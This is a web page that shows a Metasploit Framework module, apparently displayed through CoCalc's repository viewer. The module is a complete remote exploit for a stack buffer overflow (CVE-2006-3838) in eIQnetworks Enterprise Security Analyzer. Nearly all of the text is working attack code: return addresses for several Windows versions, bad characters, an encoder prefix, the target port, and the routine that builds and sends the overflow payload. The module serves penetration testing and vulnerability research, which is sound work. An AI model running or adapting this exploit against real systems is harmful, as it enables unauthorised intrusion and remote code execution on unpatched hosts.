CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in eIQnetworks
16
Enterprise Security Analyzer. During the processing of
17
long arguments to the DELETEDEVICE command in the Topology
18
server, a stack-based buffer overflow occurs.
19
20
This module has only been tested against ESA v2.1.13.
21
},
22
'Author' => 'MC',
23
'References' =>
24
[
25
['CVE', '2006-3838'],
26
['OSVDB', '27528'],
27
['BID', '19164'],
28
],
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'seh',
32
},
33
'Payload' =>
34
{
35
'Space' => 250,
36
'BadChars' => "\x00\x0a\x0d\x20",
37
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
43
[ 'Windows XP SP2 English', { 'Ret' => 0x77d57447 } ],
44
[ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],
45
],
46
'Privileged' => false,
47
'DisclosureDate' => '2006-07-25'
48
))
49
50
register_options(
51
[
52
Opt::RPORT(10628)
53
])
54
end
55
56
def exploit
57
connect
58
59
print_status("Trying target #{target.name}...")
60
61
filler = rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)
62
63
sploit = "DELETEDEVICE&" + filler + payload.encoded
64
65
sock.put(sploit)
66
67
handler
68
disconnect
69
end
70
end
71
72